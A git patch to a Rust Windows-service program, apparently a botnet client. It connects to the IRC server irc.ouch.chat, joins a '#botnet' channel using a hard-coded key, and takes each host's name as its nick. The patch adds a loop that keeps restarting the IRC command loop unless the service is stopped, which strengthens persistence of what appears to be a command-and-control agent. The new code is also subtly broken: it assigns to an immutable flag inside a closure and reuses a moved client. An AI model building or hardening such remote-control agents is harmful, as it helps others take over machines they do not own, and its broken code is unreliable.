From 72fcbfa7c0ca43d0667efbc2f7d6f3b867fecfd4 Mon Sep 17 00:00:00 2001 From: blackbeard420 Date: Tue, 2 Jan 2024 15:50:07 -0500 Subject: [PATCH] loop restart unless stop --- src/bin/windows_service.rs | 12 +++++++++--- src/lib.rs | 1 + 2 files changed, 10 insertions(+), 3 deletions(-) diff --git a/src/bin/windows_service.rs b/src/bin/windows_service.rs index 7a2f3a1..fc56687 100644 --- a/src/bin/windows_service.rs +++ b/src/bin/windows_service.rs @@ -41,6 +41,8 @@ mod winserv { let sender = client.sender(); + let run = true; + // The entry point where execution will start on a background thread after a call to // `service_dispatcher::start` from `main`. let event_handler = move |control_event| -> ServiceControlHandlerResult { @@ -52,11 +54,13 @@ mod winserv { // Handle stop ServiceControl::Stop => { sender.send_quit("ouch or die").unwrap(); + run = false; ServiceControlHandlerResult::NoError } - ServiceControl::Shutdown => { + ServiceControl::Preshutdown => { sender.send_quit("ouch or die").unwrap(); + run = false; ServiceControlHandlerResult::NoError } @@ -79,8 +83,10 @@ mod winserv { }) .unwrap(); - if let Err(_) = irc_rpc::event_loop(client).await { - //log error + while run { + if let Err(_) = irc_rpc::event_loop(client).await { + //log error + } } status_handle diff --git a/src/lib.rs b/src/lib.rs index 1d7a0cd..eccf90e 100644 --- a/src/lib.rs +++ b/src/lib.rs @@ -22,6 +22,7 @@ pub async fn create_client() -> Result { server: Some("irc.ouch.chat".to_owned()), channels: vec!["#botnet".to_owned()], channel_keys: HashMap::from([("#botnet".to_owned(), "fuckyou".to_owned())]), + alt_nicks: vec![gethostname::gethostname().to_str().unwrap().to_owned() + "X"], ..Config::default() };